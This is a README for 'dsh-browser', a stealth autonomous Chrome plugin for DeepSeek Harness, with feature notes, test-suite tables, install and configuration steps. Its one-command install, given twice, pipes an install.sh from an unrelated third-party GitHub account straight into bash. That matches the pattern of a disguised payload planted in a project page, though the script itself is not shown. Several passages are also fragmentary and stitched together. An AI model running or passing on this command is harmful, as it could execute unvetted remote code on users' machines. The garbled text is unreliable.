dsh-web
zhu1090093659/dsh-webDeepSeek Harness(DSH)Web 插件聚合生态包 · 一切皆插件,创意工坊分发(dsh-market.com)
A live, stealth-capable, autonomous Chrome inside your DeepSeek Harness conversation — set-of-marks vision, Chrome-for-Android desktop-view parity, human takeover, 4-tier CAPTCHA handoff, standalone panel for any device (dsh-browser plugin).
A live, stealth-capable, autonomous Chrome inside your DeepSeek Harness conversation — the dsh-browser plugin.
The agent drives a real browser with humanized input. You watch every click, scroll and keystroke live in a docked dashboard — and you can grab the mouse anytime. CAPTCHAs pause the agent and hand the widget to you, in-session, with your own fingerprint and IP: the one solve that always works.
Zero cloud. Zero accounts. Everything runs on 127.0.0.1.
Ready to install — one command:
curl -fsSL https://github.com/canelaslorenzoenego-ai/Orderzx/releases/download/v0.2.0-rc.24/install.sh | bash
It clones to ~/.orderzx/dsh-browser, installs, builds, and prints the exact
line to add dsh-browser to your harness plugin list. Details: Install.
you: "book me a table at X"
chatbar 🖥 ▸ starting browser… ← capsule monitor animation
dashboard extends ────────────────────────────────────────┐
│ Home │ shopper │ researcher [screenshot ▾] [×] │ ← tab per sub-agent
│ ◀ ▶ ⟳ https://restaurant.example │
│ live frames + the agent's ghost cursor clicking │
│ ▸ timeline (every action, newest first) │
│ [ Take over ] 1366×768 · humanized │ ← your mouse, on request
└──────────────────────────────────────────────────────────┘
click "Sign in", scroll down 480px, you · type 12 chars.browser_clip samples real frames and
delivers them to the session and hands the model a chatLine it pastes
verbatim into chat. Replays draw the model's hand back over the frames.browser_reel — one call → one standalone HTML artifact: frames +
gesture track + scrubber, zero dependencies, signed URL, sandbox CSP.<video> tightens the stream to ~3 fps so
motion reads as motion; browser_transcript reads what a video says.!important sheet plus a MutationObserver watchdog that heals
harness re-render wipes; the Android harness dashboard lost its modal
overlay fallback entirely (phone split at every width).#4d6bfe accent./start — one command to launchType /start (optionally /start https://example.com) in the composer.
The command starts the browser immediately: the chatbar capsule pops its
monitor boot animation, the dashboard extends to the right, and the live view
connects — the whole boot sequence plays by itself, with no clarifying
questions and no model-side peeks at the page (the panel is already showing
it). Refusals come back as one quoted line.
Sub-agents each get their own browser. Every browser_start opens an
independent session (up to 4 concurrent, LRU-evicted when idle). A session
sees, drives and closes only its OWN tabs: on an attached CDP browser your
personal tabs — and other agents' tabs — are never hijacked, listed, or
closable, and popups stay owned by the session that opened them. Stopping one
agent's session never disturbs another's.
{{variables}}, so secrets never touch disk.dsh-android ships the same dashboard over ADB/WireGuard: the phone renders
frames and gestures from your desktop session. Watch-only by design.
Built to survive any dsh-web / Cordis generation, past or future:
cordis and
@deepseek-ai/cordis; optional services (approval, vision) are feature-detected
via ctx.inject([...]), never required.status.compat carries {protocol, plugin, guarantees}.
A newer harness degrades the panel to a visible banner, never a blank screen.mountRoutes, ctx.effect tool registration and the
signed-route fence: the contract the harness has never had to change.Enforced by smoke steps that feed the suites yesterday's manifests, tomorrow's unknown fields and mismatched protocol numbers.
On the real deepseek-harness dashboard the panel doesn't lease margins at all: it extends the layout as a first-class grid track.
harness/deepseek-harness-dashboard.patch modifies the harness's own
packages/client/ui-layout (AppFrame + columns): a 4th external track
the plugin feeds via the --dsh-external-side-track CSS variable +
dsh-external-side-track window event, clamped to the viewport (narrow
floors keep phones honest: a real ≥140 px track, never an overlay), with the
granted width published back (--dsh-external-side-track-granted) so the
panel sizes to exactly what the frame reserved.node scripts/patch-harness-dashboard.mjs --web-target <checkout> applies it
(idempotent; also patches a dsh-android checkout when one is found).data-dsh-external-track) and
uses the native channel; unpatched harnesses fall back to the rc.20 margin
lease — same extend guarantee, two mechanisms.706 checks, all runnable from this checkout:
| suite | checks | proves |
|---|---|---|
| tools | 207 | every tool against an emulated engine, refusals, scoring |
| routes | 85 | fence-before-capability, token scopes, capture containment, compat, mid-stream teardown |
| frames | 72 | transports, tiers, suppression, boost cadence |
| panel | 246 | the real client bundle SSR'd: capsule, overlay, drawers, players |
| mcp | 18 | the bridge over a real spawned child's stdio, hostile JSON-RPC |
| mount | 8 | the REAL harness path: cordis loader + include + cordis.yml entry mounts us, tools and both skills (/browser-automation, /start) land, dispose unregisters |
| live | 31 | real Chromium over CDP: start → stream → click → heal → clips → reels |
| dock-hostile | 24 | hostile harness shell (fixed + 100vw) with a 700 ms lease wiper: extend at 1280/390, heal, × release, plus a patched-harness native external track (granted-width sizing, no margin lease) |
| e2e | 15 | real host + real routes + real bundle, end to end |
| dispatch | 123 | every tool through the real dispatch path: schemas honest, refusals typed |
| workflow | 23 | record → secrets → replay → background jobs on a real browser |
| tools-live | 20 | files fence + upload/download, tabs, desktop_view, transcript, screencast — real browser |
| challenge-live | 13 | live DOM detection, adapter solve with page-effect proof, handoff, domain gates |
| stream-teardown | 10 | an open frame stream terminates cleanly when its session dies |
| subagent-live | 9 | concurrent sessions isolated: own tabs only, popup ownership, independent stop |
pnpm test # 573 static assertions, no browser needed
node scripts/dev-host-mount-smoke.mjs # 8: real cordis loader mount
pnpm run test:live # 31 against a real Chrome (opt-in)
pnpm run test:e2e # 15: host + routes + client bundle + Chrome
pnpm run test:dispatch # 123 dispatch-path schema/refusal checks
pnpm run test:workflow # 23 record/replay/job steps
pnpm run test:tools-live # 20 files/tabs/desktop_view/transcript/screencast
pnpm run test:challenge-live # 13 challenge pipeline steps
pnpm run test:stream-teardown # 10 mid-stream teardown steps
pnpm run test:subagent-live # 9 multi-session isolation steps
curl -fsSL https://github.com/canelaslorenzoenego-ai/Orderzx/releases/download/v0.2.0-rc.24/install.sh | bash
Prefer source? Clone and pnpm install && pnpm run build, then wire the built
entry into your harness. The script above does exactly this into
~/.orderzx/dsh-browser and prints the exact YAML for you.
Release assets: install.sh + a sample replay reel.
Wire it in — the harness loader (@deepseek-ai/cordis-plugin-loader +
cordis-plugin-include) reads cordis.yml as a bare list of entries; each
entry imports its name as a module specifier. Mount both sides — the node
plugin (tools, engine, routes) and the client bundle (capsule, cards,
dashboard):
# node profile
- id: dsh-browser
name: file:///home/you/.orderzx/dsh-browser/lib/index.js
config:
engine:
provider: patchright
# web/client profile — the dsh.client.inject manifest in package.json lists
# the host packages dsh-web injects alongside the bundle (react, dsh-client-*)
- id: dsh-browser-client
name: '@dsh-community/dsh-browser/client'
Not plugins: [- path: …] — the loader has no path key and no wrapper; a
wrong-shaped entry silently never mounts. playwright-core is a runtime
dependency (every provider needs it, CDP attach included); patchright — the
default stealth engine — is an optional dependency, and the posture endpoint
reports which driver is actually live. Config keys:
Configuration.
| Symptom | Cause | Fix |
|---|---|---|
| No capsule at all | client bundle not mounted | mount the dsh-browser-client entry above; check the DSH devtools console for dsh-browser-client and that the dsh.client.inject packages resolved |
Capsule sits at spinning-up | no engine available | npm i patchright in the profile directory, or set engine.provider: cdp + engine.cdpEndpoint and launch Chrome yourself with --remote-debugging-port=9222 |
| Capsule fine, panel never opens | another plugin owns the dock | the panel auto-falls back to an overlay — if even that is missing, check browser_status in the conversation for the phase it is stuck on |
/panel route answers 501 | standalone bundle not built | run npm run build:standalone in the checkout (works on Node ≥ 20) |
Everything is YAML with defaults; nothing security-relevant is a tool argument.
| key | default | meaning |
|---|---|---|
engine.provider | patchright | patchright · cloakbrowser · cdp (attach your own) |
engine.humanize | true | bezier pointers, jittered keys, honest posture |
frames.source | screenshot | screenshot · screencast · dom |
frames.maxFps | 5 | capture cadence = detection surface; boost tightens only for playing video |
policy.approvalForSensitiveActions | true | harness approval prompts for sensitive verbs |
policy.allowEvaluate | false | arbitrary page JS is a config gate, not a model right |
0o600; cookie values never leave the browser;
typed text never reaches the timeline; reels serve behind default-src 'none'.pointer-owned while you drive.src/routes.ts.pnpm run demo # standalone HTML dashboard, no Chrome required
pnpm run build # server + client + standalone artifact
pnpm test # static suites
Smoke suites import the compiled lib/ — build first. Live suites need a
--remote-debugging-port=9222 Chrome or use the bundled fixture.
Patterns borrowed with gratitude from dsh-android, browser-use, Stagehand and
Patchright research. MIT — see LICENSE.
Autonomous browsing can violate site terms and local law. This plugin defaults to handoff-over-solving, metadata-over-values and honesty-over-stealth for a reason: run it on systems you own, against sites that allow automation.